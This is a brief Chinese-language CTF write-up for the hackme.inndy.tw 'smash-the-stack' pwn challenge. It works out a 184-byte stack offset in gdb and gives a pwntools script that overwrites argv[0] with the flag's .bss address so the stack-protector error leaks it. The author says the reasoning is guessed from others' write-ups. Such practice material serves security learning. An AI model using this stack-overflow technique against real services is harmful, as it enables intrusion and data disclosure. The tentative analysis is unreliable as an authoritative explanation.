hackme.inndy.tw 中的smash-the-stack
gdb调试进入main函数,查看栈空间
发现('/hom')字符串应该就是该文件名,因此我估计是argv[0]的值,故栈中0xffffd114应该是argv[0]
而0xffffd05c估计是缓冲区地址,0xffffd114-0xffffd05c=B8=184
故覆盖184个字节
from pwn import *
cn = remote('hackme.inndy.tw',7717)
elf=ELF('smash-the-stack')
cn.recvuntil('Try to read the flag\n')
payload=p32(0)+'a'*184+p32(0x0804a060)#bss 也即flag的地址
#第一个参数是buf,用来设定buf的长度,可以设小一点
cn.send(payload)
cn.interactive()
以上分析是看了别人wirteup后猜测的,请各位高手指教!!!